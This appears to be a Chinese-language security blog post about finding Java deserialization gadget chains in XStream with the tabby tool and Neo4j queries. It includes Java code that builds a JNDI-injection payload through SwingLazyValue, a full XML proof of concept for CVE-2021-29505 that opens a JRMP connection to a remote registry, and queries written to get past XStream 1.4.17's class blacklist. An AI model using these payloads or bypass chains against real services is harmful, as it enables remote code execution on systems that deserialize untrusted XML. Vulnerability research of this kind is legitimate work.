写在前面 tabby熟悉便从作者的xstream挖掘cve开始
给出一个tabby查询模板
1 2 3 4 match (source:Method) // 添加where语句限制source函数 match (sink:Method {IS_SINK:true}) // 添加where语句限制sink函数 call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 12) yield path // 查找具体路径,12代表深度,可以修改 return * limit 20
根据作者的一条链子,我们直接增加限制
1 2 3 4 match (source:Method {NAME:"compare"}) match (sink:Method {IS_SINK:true, NAME:"invoke"})<-[:CALL]-(m1:Method {NAME: "createValue"}) call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 12) yield path return * limit 20
关键调用sink点的函数为sun.swing.SwingLazyValue#createValue()
该函数可以看到可以导入一个任意类并调用其静态函数或者构造函数,其中的类名、方法名以及参数名均可控
通过查询,下面这个类的静态函数可以直接JNDI注入
1 2 3 4 match (source:Method {IS_PUBLIC:true, IS_STATIC:true}) match (sink:Method {IS_SINK: true, NAME:"lookup"}) call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIA", 8) yield path return path limit 20
<javax.naming.InitialContext: java.lang.Object doLookup(java.lang.String)>
往上回溯调用链,定位javax.swing.UIDefaults#getFromHashtable()
这里value值可以手动填充,并且可以直接构造成sun.swing.SwingLazyValue
就能够执行createValue方法
继续往上回溯javax.swing.UIDefaults#get
,这里没有阻碍点
javax.swing.MultiUIDefaults#get
,这里我jdk就没有扫到了不知道为啥,先看下。这里既可以通过替换类属性tables,也可以直接替换hashtable本身的value值
javax.swing.MultiUIDefaults#toString
,这里会遍历table中的key,所以一定会触发get
继续往上找调用了toString的链子。从头开始分析,javax.naming.ldap.Rdn$RdnEntry#compareTo
,类属性调用了equals方法
1 2 3 4 match (source:Method) where source.NAME in ["compareTo"] match (sink:Method {NAME:"toString"})<-[r:CALL]-(m1:Method) where r.REAL_CALL_TYPE in ["java.lang.Object"] call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 5) yield path return path limit 20
com.sun.org.apache.xpath.internal.objects.XString#equals()
贴一下整个调用链
1 2 3 4 5 6 7 8 javax.naming.ldap.Rdn$RdnEntry.compareTo ?? com.sun.org.apache.xpath.internal.objects.XString.equal javax.swing.MultiUIDefaults.toString ?? UIDefaults.get ?? UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
因此关键构造如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 UIDefaults uiDefaults = new UIDefaults ();Object multiUIDefaults = ReflectionHelper.newInstance("javax.swing.MultiUIDefaults" , new Object []{new UIDefaults []{uiDefaults}}); uiDefaults.put("lazyValue" , obj);Object rdnEntry1 = ReflectionHelper.newInstance("javax.naming.ldap.Rdn$RdnEntry" , null ); ReflectionHelper.setFieldValue(rdnEntry1, "type" , "ysomap" ); ReflectionHelper.setFieldValue(rdnEntry1, "value" , new XString ("test" ));Object rdnEntry2 = ReflectionHelper.newInstance("javax.naming.ldap.Rdn$RdnEntry" , null ); ReflectionHelper.setFieldValue(rdnEntry2, "type" , "ysomap" ); ReflectionHelper.setFieldValue(rdnEntry2, "value" , multiUIDefaults);return PayloadHelper.makeTreeSet(rdnEntry2, rdnEntry1);
基于XStream-1.4.16 CVE-2021-29505的探索 先看看CVE-2021-29505
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > </default > <int > 3</int > <javax.naming.ldap.Rdn_-RdnEntry > <type > 12345</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: none</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > 12345</type > <value class ='com.sun.xml.internal.ws.api.message.Packet' serialization ='custom' > <message class ='com.sun.xml.internal.ws.message.saaj.SAAJMessage' > <parsedMessage > true</parsedMessage > <soapVersion > SOAP_11</soapVersion > <bodyParts /> <sm class ='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl' > <attachmentsInitialized > false</attachmentsInitialized > <multiPart class ='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart' > <soapPart /> <mm > <it class ='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator' > <aliases class ='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl' > <candidates class ='com.sun.jndi.rmi.registry.BindingEnumeration' > <names > <string > aa</string > <string > aa</string > </names > <ctx > <environment /> <registry class ='sun.rmi.registry.RegistryImpl_Stub' serialization ='custom' > <java.rmi.server.RemoteObject > <string > UnicastRef</string > <string > 127.0.0.1</string > <int > 2333</int > <long > 0</long > <int > 0</int > <long > 0</long > <short > 0</short > <boolean > false</boolean > </java.rmi.server.RemoteObject > </registry > <host > 127.0.0.1</host > <port > 2333</port > </ctx > </candidates > </aliases > </it > </mm > </multiPart > </sm > </message > </value > </javax.naming.ldap.Rdn_-RdnEntry > </java.util.PriorityQueue > </java.util.PriorityQueue >
本质是在RegistryImpl_Stub
反序列化,会先还原父类,调用`RemoteObject#readObject
。其最终会有一个JRMP的连接请求产生。即source点为RemoteObject#readObject()
即简化调用链为
1 2 3 sun.rmi.registry.RegistryImpl_Stub#readObject sun.rmi.server.UnicastRef#readExternal # trigger rmi
XStream 1.4.17限制
黑名单正则
黑名单
黑名单继承对象
CVE-2021-29505的调用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 javax.naming.ldap.Rdn$RdnEntry#compareTo com.sun.org.apache.xpath.internal.objects.XString#equal com.sun.xml.internal.ws.api.message.Packet#toString com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#<init> com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#getAttachments com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#initializeAllAttachments com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#getCount com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#hasNext com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#findNextCert com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement ==拉黑== com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#findNextMatch ==拉黑== com.sun.jndi.rmi.registry.BindingEnumeration#next sun.rmi.registry.RegistryImpl_Stub#lookup ==拉黑==
因此,前半部分仍然是可利用的,起点即从findNextCert()
开始找
我们可以利用aliases
属性延续后面链子的查找。
其中类需要满足的性质
实现了Enumeration
接口
拥有nextElement()
函数,并且最终能到达恶意sink函数
绕过所有的黑名单
针对source点的限制实现
1 2 3 match (source:Method {NAME:"nextElement"}) <-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class {NAME:"java.util.Enumeration"}) match (source)-[:CALL]->(m1:Method)
sink点,找可实现JNDI注入的
1 match (sink:Method {IS_SINK:TRUE, VUL:"JNDI"})
增加黑名单过滤
1 2 3 4 5 6 7 match (source:Method {NAME:"nextElement"}) <-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class {NAME:"java.util.Enumeration"}) match (source)-[:CALL]->(m1:Method) match (sink:Method {IS_SINK:TRUE, VUL:"JNDI"}) call apoc.algo.allSimplePaths(sink, m1, "<CALL|ALIAS", 8) yield path where none(n in nodes(path) where n.CLASSNAME in ["java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl", "com.sun.jndi.rmi.registry.BindingEnumeration", "sun.rmi.registry.RegistryImpl_Stub", "com.sun.jndi.cosnaming.CNBindingEnumeration", "com.sun.jndi.toolkit.dir.HierMemDirCtx$FlatBindings", "com.sun.jndi.ldap.LdapReferralException"]) return source, path limit 50
参考链接
https://www.freebuf.com/vuls/278188.html
https://blog.0kami.cn/blog/2021/how_to_find_gadget_chains_2/
https://blog.0kami.cn/blog/2021/how_to_find_gadget_chains/
https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/%E6%B5%8B%E8%AF%95%E5%AF%B9%E8%B1%A1/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/web%E7%BB%84%E4%BB%B6/XStream/CVE-2021-29505/XStream-CVE-2021-29505-poc%E4%BF%AE%E6%AD%A3.html